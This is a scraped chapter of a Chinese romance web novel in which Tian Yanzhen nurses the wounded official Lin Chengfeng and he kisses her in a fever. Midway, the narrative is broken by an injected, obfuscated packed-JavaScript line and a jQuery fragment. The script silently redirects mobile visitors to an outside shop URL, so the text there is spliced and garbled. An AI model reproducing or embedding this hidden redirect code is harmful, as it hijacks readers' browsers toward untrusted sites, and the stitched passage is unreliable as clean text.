田言真没有说话,从厢房搬来了一张软榻放在了外间,走到林乘风旁边,用手摸了摸林乘风的额头,还好,没有发热,又看了看胸口包扎的伤口,“林大人,我就在外间,不舒服了,就记得喊我!”
说完,和衣躺在了软榻上,侧身看着林乘风。
林乘风侧脸看了田言真一眼,眼眶发热,伤口扯着他发疼,低烧让他浑身无力,睡的很浅,他怕吵到田言真,紧张的也不敢翻身,但是实在是因为太累了,就迷迷糊糊的睡过去了。
天刚蒙蒙亮,田言真就赶紧起身去厨房忙活,周敏敏也早早起来去帮她。只见田言真熬上了海鲜小米粥,周敏敏给炖上了椰肉乌鱼汤。周敏敏看见田言真小心的扇着火,又是不是得回头看林乘风厢房的方向。
林乘风刚醒来,田言真就端了水盆和空碗进去,让林乘风漱口和洗漱。随后把早就凉好的米粥和鱼汤端了进去,周敏敏从窗口看去,只见田言真蹲在床边,小心的舀起粥,吹了吹才递到了林乘风的嘴巴,生怕烫到了林大人。
等林乘风喝完鱼汤后,田言真又让他吃了药,让他在歇息。见他睡去后,田言真闭门出来,被周敏敏一把拉到了院中的榕树下,笑着戳了戳她的胳膊。
“言真,我看你整夜守着林大人,整个人都憔悴了呢!”
田言真赶紧摸了把脸,"憔悴吗?我一点也不累啊!”
“言真,你是不是,喜欢林大人?”
田言真猛地一愣,茫然的眨了下眼睛,赶紧解释:“敏敏姐,你在说什么呢,我就是觉得林大人很好,他一直帮咱们,又给银子,又让屋子的,他还为了救人受了伤,我感激他,照顾他,不是理所应当的吗?”
"理所应当?”周敏敏轻轻笑了一声,拉起了田言真的手,“傻姑娘,你设想下,如果是闫旭受伤,或者谭思唯受伤,你会通宵在旁边照顾,会早起做饭,会亲自喂食,担心他是否发烧吗?若是感激,你会这么上心,做到现在这个地步吗?”
田言真怔怔的站在原地,心里突然乱糟糟的。
可是她还是不知道这算是情爱吗?还是自己共情心太重,太过心软的原因?
“我,我只是见不得好人受委屈,换做别人,若是肖总他们舍身就热,我想我也会这么做的吧。”她小声的说道。
周敏敏看着她嘴硬的样子,有些无奈的想笑,摇了摇她:“你这个傻丫头,你的脸上就差写上,我喜欢你,我担心你,我害怕失去你,这几个字了!你之前没谈过恋爱吗?你是不是分辨不出来感激和喜欢啊!”
“啊?敏敏姐,有这么明显吗?”田言真一脸害羞的低下了头,完蛋,是不是林乘风也看出来了!
屋里,林乘风翻了个身,他握紧了双手,他并未熟睡。
田言真还想再说些什么来掩饰,周敏敏拍了怕她的肩膀,不再说什么,又去厨房熬上了鱼汤,“我有熬了一点汤,晌午,你可以再给大人盛出来,受伤多喝汤,好的快点,我要去照看铺子了,今天就不回来了,你好好想清楚自己的心。”
周敏敏收拾妥当之后,就离开了,田言真拖着头坐在石凳上,眼睛直愣愣的看着林乘风让他照看的桂花。
她走到窗边,悄悄的看向躺在床榻上的林乘风,想象他那日挡在少年前的样子,本就瘦弱的林大人,是怎么做到的,他不害怕吗,京城来的贵公子,能做到这样,实属难得。一想到,如果林乘风如果真的就这么……,田言真突然心头一紧,针扎一样的疼。
这就是,喜欢吗?
田言真突然听到屋内穿来林乘风的咳嗽声,就赶紧推门进去。
“林大人,你怎么了?是不是不舒服?身上难受吗?”
"无妨,言真,你帮我倒杯水吧。”
田言真赶紧给林大人倒了一杯水,递给他。两人指尖相触,田言真赶紧拿开手,红着脸低下了头。
“方才我好像听到了周姑娘的声音。”
“嗯,敏敏姐给林大人到了汤,有助于康复,等晌午就熬好了,到时候给你盛出来喝。”
田言真猝不及防的和他对视,脸又红又烫,赶忙移开视线。
林乘风看着他泛红的耳尖,心里柔软的一塌糊涂,沉沉的对田言真说道:“这几天要辛苦你了,等我伤势痊愈了,我定不会辜负你的心意。”
林乘风知道以他这样的身份,如果返回京城,婚姻大事是由不得自己的,但是为了田言真,他想为自己做一会主。只是自己现在身份尴尬,若现在表明心意,怕是委屈了田言真。林乘风心想道,言真,等我。
田言真没听明白他的心意,只当是她单纯的感激自己,连忙摆手:“说什么呢,谈什么什么辜负不辜负的,你好好养伤就好了。”田言真总觉得有一天,要是离开这里,那么林乘风怎么办,会舍不得吗?一想到自己可能会再也见不到林乘风,田言真就很难受,想跟林乘风说明自己的情况,又怕吓到他,找个机会吧,找个机会和他说清楚。
如果,他能接受我来自现代,能接受我说的男女平等,愿意跟我回现代呢?
想到这里,田言真似乎有些兴奋。
白天林乘风的温度还算稳定,可是到了后半夜,海岛天气闷热潮湿,林乘风的伤口还是有些严重,终究是发炎的厉害,发起了高热。
原本他的睡眠就浅,高热和身体上的酸痛,让他额头瞬间布满了冷汗,林乘风不自然的眉头死死拧在一起,时不时无意识的低声呻吟起来。
守在外榻的田言真一听见里头的动静,鞋都没来得及穿就冲到床边。
“林大人,怎么了?”田言真把手贴上了林乘风的额头,滚烫的温度让她心头一紧。
田言真立刻转身去取退烧药,“怎么烧的这么厉害呢,你怎么不叫我啊!”
她慌忙把傅雅芝留下的退烧药给林乘风吃了下去,又取了帕子湿了湿冷水,一遍又一遍的敷在他的额头上。田言真又赶紧给林乘风倒了杯凉水。想扶起他喂水。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17738395|208754||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林乘风烧的意识模糊,半梦半醒的,迷迷糊糊的看见身旁是田言真,便一把拉住她的手,抱着她的肩膀不肯放开。
“言真,别,别走!”
他低声一直反复重复着这句话,田言真愣了,林大人向来是克己复礼,怎么会?
田言真被他死死拥着,心头又慌又软的,她轻轻安抚道:“我不走,我就在这里陪着你,你先放开我,你得先喝点水,烧的那么厉害,你看你,全身都是汗,要先喝点水啊!”
林乘风烧的有些混沌了神智,他好像没有听到田言真的话,迷糊的双眼朦胧的看着田言真的轮廓,又死死的抱着她,下巴托在田言真的肩膀上,断断续续的继续说道:“言真,你信我,信我好不好……”
“言真,我,我心悦你……”
“言真,你等我回京好吗,我怕现在拖累你。”
“言真,从没有人,像你一样对我,除了我的母亲。”
……
田言真正在拍着林乘风的肩膀安抚他,听到这几句话,手上动作一顿,整个人僵住了,心跳忽然炸开,脑子轰的一声,挣脱开林乘风的双手,怔怔的看着这个高热说话话的男人。
我心悦你,我心悦你,我心悦你……
田言真脑子里只留下了这句话。
田言真缓了很久才回过神,看着他因为高烧而起皮的嘴唇,慌乱的像压住自己要跳出来的心脏,赶紧说道:“林大人,喝点水,你的嘴巴都起皮了。”
她一手拖着林乘风的下颚,一手端着瓷盏,小心翼翼的凑到他的唇边,打算一点一点喂他水喝。
温热的水汽扑面而来,少女软糯的气息萦绕在林乘风的鼻尖,昏沉的高热,让林乘风最后一丝理智崩断了。
他摆手推开了茶盏,用手拖住了田言真的后脑勺,倾着身子,覆上了田言真的唇,小心的,一点一点的研磨着田言真的唇瓣。
田言真浑身一阵,手中的茶盏险些脱手,她发出呜呜的声音,却也没有推开林乘风。
林乘风的唇带着滚烫的温度,还带着淡淡的药味,他用他的唇,轻轻的描摹着田言真的唇瓣,动作温柔,好似在亲吻一颗珍珠,一件稀世珍宝。
石院寂静无声,屋内灯光昏黄,窗外印着两个人交叠的身影。
林乘风吻了很长时间,突然加大了力度,狠狠的攫取着田言真的唇,好像这个唇是甘霖,是清泉,能够缓解自己的高热,他用力的吮吸着,直到自己高热让自己无法呼吸,高热带来的眩晕再次让林乘风感觉不是,他力道一松,脑袋一沉,这个吻被迫中断,他再一次滑向床榻,又陷入了半昏迷的样子,呼吸逐渐变得很沉,田言真帮他躺好之后,轻轻的盖上了纱被。
田言真怕林乘风脱水,还是用勺子一点一点的把喂了进去。
待一切安置好之后,田言真恍若如梦,仿佛刚才的吻,只是一场虚妄的梦。
“林乘风,明天,你,还记得你吻了我吗?”